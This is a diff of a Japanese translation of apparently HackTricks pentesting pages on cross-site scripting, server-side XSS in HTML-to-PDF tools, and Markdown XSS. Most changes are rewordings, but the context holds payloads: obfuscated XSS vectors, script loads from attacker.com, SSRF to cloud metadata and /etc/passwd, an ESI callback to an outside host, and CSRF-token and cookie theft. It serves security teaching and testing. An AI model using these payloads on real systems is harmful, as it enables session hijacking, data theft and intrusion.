@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
|||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields): **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用することで、異なるキーの組み合わせを指定できます。ここにベクターがあります:
|
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields): **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
@ -456,11 +456,11 @@ onbeforetoggle="alert(2)" />
|
|||||||
|
|
||||||
> .test {display:block; color: blue; width: 100%\}
|
> .test {display:block; color: blue; width: 100%\}
|
||||||
|
|
||||||
と
|
および
|
||||||
|
|
||||||
> \#someid {top: 0; font-family: Tahoma;}
|
> \#someid {top: 0; font-family: Tahoma;}
|
||||||
|
|
||||||
今、リンクを次の形式に変更できます
|
今、リンクを変更して次の形式にすることができます
|
||||||
|
|
||||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||||
|
|
||||||
@ -489,7 +489,7 @@ onbeforetoggle="alert(2)" />
|
|||||||
### テンプレートリテラル \`\`
|
### テンプレートリテラル \`\`
|
||||||
|
|
||||||
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
|
||||||
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます:
|
したがって、バックティックを使用しているJS文字列内に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます:
|
||||||
|
|
||||||
これは次のように**悪用**できます:
|
これは次のように**悪用**できます:
|
||||||
```javascript
|
```javascript
|
||||||
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||||
```
|
```
|
||||||
**JavaScriptの新しい行(から** [**JavaScriptの新しい行**](#javascript-new-lines) **トリック)**
|
**JavaScriptの改行(から** [**JavaScriptの改行**](#javascript-new-lines) **トリック)**
|
||||||
```javascript
|
```javascript
|
||||||
//Javascript interpret as new line these chars:
|
//Javascript interpret as new line these chars:
|
||||||
String.fromCharCode(10)
|
String.fromCharCode(10)
|
||||||
@ -676,7 +676,7 @@ try{throw onerror=alert}catch{throw 1}
|
|||||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||||
|
|
||||||
**任意の関数(alert)呼び出し**
|
**任意の関数 (alert) 呼び出し**
|
||||||
````javascript
|
````javascript
|
||||||
//Eval like functions
|
//Eval like functions
|
||||||
eval('ale'+'rt(1)')
|
eval('ale'+'rt(1)')
|
||||||
@ -738,21 +738,21 @@ top[8680439..toString(30)](1)
|
|||||||
````
|
````
|
||||||
## **DOMの脆弱性**
|
## **DOMの脆弱性**
|
||||||
|
|
||||||
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`のように。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
攻撃者によって制御された**安全でないデータ**を使用している**JSコード**があります。例えば、`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
|
||||||
**DOMの脆弱性に関する説明が拡張されたため、** [**このページに移動しました**](dom-xss.md)**:**
|
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
dom-xss.md
|
dom-xss.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
|
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\
|
||||||
また、**前述の投稿の最後に**、[**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
|
また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
|
||||||
|
|
||||||
### Self-XSSのアップグレード
|
### Self-XSSのアップグレード
|
||||||
|
|
||||||
### Cookie XSS
|
### Cookie XSS
|
||||||
|
|
||||||
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
|
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../hacking-with-cookies/cookie-tossing.md
|
../hacking-with-cookies/cookie-tossing.md
|
||||||
@ -766,7 +766,7 @@ dom-xss.md
|
|||||||
|
|
||||||
### セッションミラーリング
|
### セッションミラーリング
|
||||||
|
|
||||||
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ています。
|
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ます。
|
||||||
|
|
||||||
あなたは**管理者にself XSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
|
あなたは**管理者にself XSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
|
||||||
|
|
||||||
@ -783,7 +783,7 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ
|
|||||||
### Ruby-On-Rails バイパス
|
### Ruby-On-Rails バイパス
|
||||||
|
|
||||||
**RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、タグ内に追加のフィールド(onfocus)を追加できます。\
|
**RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、タグ内に追加のフィールド(onfocus)を追加できます。\
|
||||||
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信した場合:
|
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信すると:
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
```
|
```
|
||||||
@ -825,7 +825,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||||||
```
|
```
|
||||||
### 302レスポンスにおけるヘッダーインジェクションを用いたXSS
|
### 302レスポンスにおけるヘッダーインジェクションを用いたXSS
|
||||||
|
|
||||||
**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
**302リダイレクトレスポンスにヘッダーをインジェクトできる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
|
||||||
|
|
||||||
[**このレポート**](https://www.gremwell.com/firefox-xss-302)や[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
|
[**このレポート**](https://www.gremwell.com/firefox-xss-302)や[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
|
||||||
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。
|
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。
|
||||||
@ -838,7 +838,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||||||
|
|
||||||
([**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))スクリプトを`application/octet-stream`のような**コンテンツタイプ**で読み込もうとすると、Chromeは次のエラーを表示します:
|
([**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))スクリプトを`application/octet-stream`のような**コンテンツタイプ**で読み込もうとすると、Chromeは次のエラーを表示します:
|
||||||
|
|
||||||
> MIMEタイプ(`application/octet-stream`)が実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')からスクリプトの実行を拒否しました。
|
> MIMEタイプ(‘application/octet-stream’)が実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')からスクリプトの実行を拒否しました。
|
||||||
|
|
||||||
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。
|
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。
|
||||||
```c
|
```c
|
||||||
@ -896,9 +896,9 @@ import moment from "moment"
|
|||||||
import { partition } from "lodash"
|
import { partition } from "lodash"
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用するために使用されました。
|
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
|
||||||
|
|
||||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
|
||||||
```html
|
```html
|
||||||
<script type="speculationrules">
|
<script type="speculationrules">
|
||||||
{
|
{
|
||||||
@ -943,7 +943,7 @@ import { partition } from "lodash"
|
|||||||
|
|
||||||
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||||
|
|
||||||
例えば、[**このレポート**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
|
例えば、[**このレポート**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内で**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
|
||||||
|
|
||||||
### ChromeキャッシュからXSSへ
|
### ChromeキャッシュからXSSへ
|
||||||
|
|
||||||
@ -961,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
|
|||||||
|
|
||||||
// use of with
|
// use of with
|
||||||
with(console)log(123)
|
with(console)log(123)
|
||||||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
|
||||||
// Just replace console.log(1) to the real code, the code we want to run is:
|
// Just replace console.log(1) to the real code, the code we want to run is:
|
||||||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||||||
|
|
||||||
@ -984,7 +984,7 @@ constructor(source)()
|
|||||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||||
```
|
```
|
||||||
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**このレポート**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**この解説**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
|
||||||
|
|
||||||
- import()を使用して
|
- import()を使用して
|
||||||
```javascript
|
```javascript
|
||||||
@ -1048,7 +1048,7 @@ trigger()
|
|||||||
```
|
```
|
||||||
### オブfuscation & 高度なバイパス
|
### オブfuscation & 高度なバイパス
|
||||||
|
|
||||||
- **1つのページ内の異なるオブfuscation:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
- **1つのページ内の異なるオブfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||||
@ -1358,7 +1358,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
_短い時間は応答しているポートを示します_ _長い時間は応答がないことを示します。_
|
_応答しているポートは短い時間を示します_ _応答がない場合は長い時間を示します。_
|
||||||
|
|
||||||
Chromeで禁止されているポートのリストを[**こちら**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)で、Firefoxで禁止されているポートのリストを[**こちら**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)で確認してください。
|
Chromeで禁止されているポートのリストを[**こちら**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)で、Firefoxで禁止されているポートのリストを[**こちら**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)で確認してください。
|
||||||
|
|
||||||
@ -1381,12 +1381,12 @@ body:username.value+':'+this.value
|
|||||||
|
|
||||||
### キーロガー
|
### キーロガー
|
||||||
|
|
||||||
GitHubでいくつかの異なるものを見つけました:
|
GitHubで検索したところ、いくつかの異なるものが見つかりました:
|
||||||
|
|
||||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||||
- metasploit `http_javascript_keylogger` も使用できます。
|
- metasploit `http_javascript_keylogger` も使用できます
|
||||||
|
|
||||||
### CSRFトークンの盗難
|
### CSRFトークンの盗難
|
||||||
```javascript
|
```javascript
|
||||||
@ -1508,7 +1508,7 @@ xss-in-markdown.md
|
|||||||
|
|
||||||
### SSRFへのXSS
|
### SSRFへのXSS
|
||||||
|
|
||||||
**キャッシュを使用しているサイト**でXSSを取得しましたか?このペイロードを使用して**それをSSRFにアップグレード**してみてください:
|
**キャッシングを使用しているサイト**でXSSを取得しましたか?このペイロードを使用して**それをSSRFにアップグレード**してみてください:
|
||||||
```python
|
```python
|
||||||
<esi:include src="http://yoursite.com/capture" />
|
<esi:include src="http://yoursite.com/capture" />
|
||||||
```
|
```
|
||||||
@ -1534,7 +1534,7 @@ pdf-injection.md
|
|||||||
|
|
||||||
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
|
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
|
||||||
|
|
||||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内のコンテンツと直接対話できるようにします。
|
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
|
||||||
|
|
||||||
例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
|
||||||
|
|
||||||
|
@ -14,8 +14,8 @@
|
|||||||
|
|
||||||
- **wkhtmltopdf**は、HTMLとCSSをPDF文書に変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能で、幅広いアプリケーションにアクセスできます。
|
- **wkhtmltopdf**は、HTMLとCSSをPDF文書に変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能で、幅広いアプリケーションにアクセスできます。
|
||||||
- **TCPDF**は、PDF生成のためのPHPエコシステム内で堅牢なソリューションを提供します。画像、グラフィックス、暗号化を処理でき、複雑な文書を作成するための多様性を示しています。
|
- **TCPDF**は、PDF生成のためのPHPエコシステム内で堅牢なソリューションを提供します。画像、グラフィックス、暗号化を処理でき、複雑な文書を作成するための多様性を示しています。
|
||||||
- Node.js環境で作業している人には、**PDFKit**が実行可能なオプションを提供します。HTMLとCSSから直接PDF文書を生成でき、ウェブコンテンツと印刷可能な形式の橋渡しをします。
|
- Node.js環境で作業している人には、**PDFKit**が実行可能なオプションを提供します。HTMLとCSSから直接PDF文書を生成でき、ウェブコンテンツと印刷可能なフォーマットの橋渡しをします。
|
||||||
- Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能もサポートするライブラリ**iText**を好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。
|
- Java開発者は、PDF作成を促進するだけでなく、デジタル署名やフォーム入力などの高度な機能をサポートするライブラリ**iText**を好むかもしれません。その包括的な機能セットは、安全でインタラクティブな文書を生成するのに適しています。
|
||||||
- **FPDF**は、シンプルさと使いやすさで際立つ別のPHPライブラリです。広範な機能を必要とせず、PDF生成に対して簡単なアプローチを求める開発者向けに設計されています。
|
- **FPDF**は、シンプルさと使いやすさで際立つ別のPHPライブラリです。広範な機能を必要とせず、PDF生成に対して簡単なアプローチを求める開発者向けに設計されています。
|
||||||
|
|
||||||
## ペイロード
|
## ペイロード
|
||||||
@ -35,7 +35,7 @@
|
|||||||
```
|
```
|
||||||
### SVG
|
### SVG
|
||||||
|
|
||||||
前述のペイロードのいずれかをこのSVGペイロード内で使用できます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスするiframeが例として挙げられています。
|
このSVGペイロード内で、前述のペイロードのいずれかを使用できます。Burpcollabサブドメインにアクセスするiframeと、メタデータエンドポイントにアクセスするiframeが例として挙げられています。
|
||||||
```markup
|
```markup
|
||||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||||
<g>
|
<g>
|
||||||
@ -60,7 +60,7 @@ alert(1);
|
|||||||
</script>
|
</script>
|
||||||
</svg>
|
</svg>
|
||||||
```
|
```
|
||||||
他の多くの**SVGペイロード**は[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で見つけることができます。
|
他の**SVGペイロード**は[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で見つけることができます。
|
||||||
|
|
||||||
### パス開示
|
### パス開示
|
||||||
```markup
|
```markup
|
||||||
@ -71,7 +71,7 @@ if not, you will at least have wich path the bot is accessing -->
|
|||||||
```
|
```
|
||||||
### 外部スクリプトを読み込む
|
### 外部スクリプトを読み込む
|
||||||
|
|
||||||
この脆弱性を悪用する最も適切な方法は、脆弱性を利用してボットにあなたがローカルで制御するスクリプトを読み込ませることです。そうすれば、ローカルでペイロードを変更し、ボットが毎回同じコードでそれを読み込むようにできます。
|
この脆弱性を悪用する最も適切な方法は、脆弱性を利用してボットにあなたがローカルで制御するスクリプトを読み込ませることです。そうすれば、ペイロードをローカルで変更し、ボットが毎回同じコードでそれを読み込むようにすることができます。
|
||||||
```markup
|
```markup
|
||||||
<script src="http://attacker.com/myscripts.js"></script>
|
<script src="http://attacker.com/myscripts.js"></script>
|
||||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||||
@ -81,7 +81,7 @@ if not, you will at least have wich path the bot is accessing -->
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> `file:///etc/passwd` を `http://169.254.169.254/latest/user-data` に変更して、**外部ウェブページにアクセスを試みてください (SSRF)**。
|
> `file:///etc/passwd` を `http://169.254.169.254/latest/user-data` に変更して、**外部ウェブページにアクセスを試みてください (SSRF)**。
|
||||||
>
|
>
|
||||||
> SSRFが許可されているが、興味深いドメインやIPに**到達できない**場合は、[このページを確認して潜在的なバイパスを探してください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
> SSRFが許可されているが、興味深いドメインやIPに**到達できない**場合は、[このページを確認してバイパスの可能性を探ってください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
|
||||||
```markup
|
```markup
|
||||||
<script>
|
<script>
|
||||||
x=new XMLHttpRequest;
|
x=new XMLHttpRequest;
|
||||||
@ -145,13 +145,13 @@ checkPort(i);
|
|||||||
</script>
|
</script>
|
||||||
<img src="https://attacker.com/startingScan">
|
<img src="https://attacker.com/startingScan">
|
||||||
```
|
```
|
||||||
### [SSRF](../ssrf-server-side-request-forgery/)
|
### [SSRF](../ssrf-server-side-request-forgery/index.html)
|
||||||
|
|
||||||
この脆弱性は非常に簡単にSSRFに変換できます(スクリプトが外部リソースを読み込むことができるため)。だから、ただこれを悪用してみてください(メタデータをいくつか読み取る?)。
|
この脆弱性は、スクリプトが外部リソースを読み込むことができるため、非常に簡単にSSRFに変換できます。だから、これを利用してみてください(メタデータを読み取る?)。
|
||||||
|
|
||||||
### Attachments: PD4ML
|
### Attachments: PD4ML
|
||||||
|
|
||||||
**PDFの添付ファイルを指定する**ことを許可するHTML 2 PDFエンジンがいくつかあります。例えば、**PD4ML**です。この機能を悪用して、**任意のローカルファイルをPDFに添付**できます。\
|
PDFのために**添付ファイルを指定する**ことを許可するHTML 2 PDFエンジンがいくつかあります。例えば、**PD4ML**です。この機能を悪用して、**任意のローカルファイルをPDFに添付**することができます。\
|
||||||
添付ファイルを開くために、**Firefoxでファイルを開き、クリップシンボルをダブルクリックして**添付ファイルを新しいファイルとして**保存**しました。\
|
添付ファイルを開くために、**Firefoxでファイルを開き、クリップシンボルをダブルクリックして**添付ファイルを新しいファイルとして**保存**しました。\
|
||||||
burpで**PDFレスポンスをキャプチャ**することも、PDF内に**クリアテキストで添付ファイルを表示**するはずです。
|
burpで**PDFレスポンスをキャプチャ**することも、PDF内に**クリアテキストで添付ファイルを表示**するはずです。
|
||||||
```html
|
```html
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
もしマークダウンにコードを注入する機会があれば、コードが解釈されるときにXSSをトリガーするために使用できるいくつかのオプションがあります。
|
もしマークダウンにコードを注入する機会があれば、コードが解釈されるときにXSSをトリガーするために使用できるいくつかのオプションがあります。
|
||||||
|
|
||||||
### HTMLタグ
|
### HTML tags
|
||||||
|
|
||||||
マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタープリターはHTMLも受け入れるからです。
|
マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタープリターはHTMLも受け入れるからです。
|
||||||
```html
|
```html
|
||||||
@ -16,7 +16,7 @@ alert(1)
|
|||||||
```
|
```
|
||||||
より多くの例は[main XSS page of hacktricks]()で見つけることができます。
|
より多くの例は[main XSS page of hacktricks]()で見つけることができます。
|
||||||
|
|
||||||
### Javascriptリンク
|
### Javascript links
|
||||||
|
|
||||||
HTMLタグが選択肢でない場合は、常にマークダウン構文で遊んでみることができます:
|
HTMLタグが選択肢でない場合は、常にマークダウン構文で遊んでみることができます:
|
||||||
```html
|
```html
|
||||||
@ -33,7 +33,7 @@ t:prompt(document.cookie))
|
|||||||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||||
[a](javascript:window.onerror=alert;throw%201)
|
[a](javascript:window.onerror=alert;throw%201)
|
||||||
```
|
```
|
||||||
### Img event syntax abuse
|
### Imgイベント構文の悪用
|
||||||
```markdown
|
```markdown
|
||||||
>)
|
>)
|
||||||
>)
|
>)
|
||||||
@ -42,7 +42,7 @@ t:prompt(document.cookie))
|
|||||||
